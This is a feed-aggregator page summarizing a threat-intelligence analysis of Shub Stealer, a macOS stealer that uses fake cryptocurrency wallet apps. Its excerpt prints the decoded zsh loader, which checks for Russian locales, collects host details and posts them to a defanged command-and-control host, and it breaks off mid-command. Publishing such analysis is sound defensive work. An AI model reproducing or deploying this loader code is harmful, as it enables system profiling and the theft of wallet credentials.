# Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Security](<https://devfeed.tech/topics/security.md>), [C2](<https://devfeed.tech/topics/c2.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [payload](<https://devfeed.tech/topics/payload.md>), [telemetry](<https://devfeed.tech/topics/telemetry.md>), [API](<https://devfeed.tech/topics/api.md>), [JSON](<https://devfeed.tech/topics/json.md>)

Tags: [c2](<https://devfeed.tech/tags/c2.md>), [code](<https://devfeed.tech/tags/code.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [json](<https://devfeed.tech/tags/json.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [payload](<https://devfeed.tech/tags/payload.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [security](<https://devfeed.tech/tags/security.md>), [shell](<https://devfeed.tech/tags/shell.md>), [shell-script](<https://devfeed.tech/tags/shell-script.md>), [telemetry](<https://devfeed.tech/tags/telemetry.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

## AI overview

Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure.

## Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa